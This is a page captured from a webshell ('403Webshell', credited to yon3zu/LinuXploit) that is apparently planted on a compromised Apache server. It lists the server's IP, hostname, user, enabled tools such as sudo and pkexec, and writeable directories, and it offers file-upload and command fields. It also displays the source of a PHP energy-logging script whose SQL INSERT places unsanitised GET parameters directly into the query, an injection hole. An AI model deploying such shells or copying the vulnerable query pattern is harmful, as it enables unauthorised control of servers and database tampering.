403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/vtgis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/vtgis/db-energy_org.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2024.
 Version: 24-04-25
 Author : TIM/M.Kukic
 Note   :
******************************
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<title>VetroIng</title>
</head>
<body>

<?php
/*
http://192.168.213.25/www/isvtg
*/
include "config.php";
//
$vtgid = $_GET["vtgid"];
If ($vtgid=="") {$vtgid="000";}

$genrot = $_GET["genrot"];
If ($genrot=="") {$genrot=0.0;}

$acfr  = $_GET["acfr"];
$acfs  = $_GET["acfs"];
$acft  = $_GET["acft"];

$dcr  = $_GET["dcr"];
$dcs  = $_GET["dcs"];
$dct  = $_GET["dct"];

$dca  = $_GET["dca"];

$gentemp  = $_GET["gentemp"];

$wind  = $_GET["wind"];

If ($acfr=="") {$acfr=0.0;}
If ($acfs=="") {$acfs=$acfr;}
If ($acft=="") {$acft=$acfr;}

If ($dcr=="") {$dcr=0.0;}
If ($dcs=="") {$dcs=$dcr;}
If ($dct=="") {$dct=$dcr;}

If ($dca=="") {$dca=0;}

If ($gentemp=="") {$gentemp=0.0;}

If ($wind=="") {$wind=0.0;}

//
$ok="No!";
$sql = "INSERT INTO vtg_energy (id,vtgid,dattime,genrot,acfr,acfs,acft,dcr,dcs,dct,dca,gentemp,wind) VALUES ('0','$vtgid',NOW(),'$genrot','$acfr','$acfs','$acft','$dcr','$dcs','$dct','$dca','$gentemp','$wind')";
//
if ($vap==5) {
		$result = mysql_query($sql, $dbh) or die(mysql_error($dbh));
		mysql_close($dbh);
		$ok="Yes!";
}
//
if ($vap==7) {
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
		mysqli_close($dbh);
		$ok="Yes!";
}
//
echo "Status: ".$ok;
//
echo "<h3>OK!</h3>";
echo "</body>";

include "db-close.php";	

?> 
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit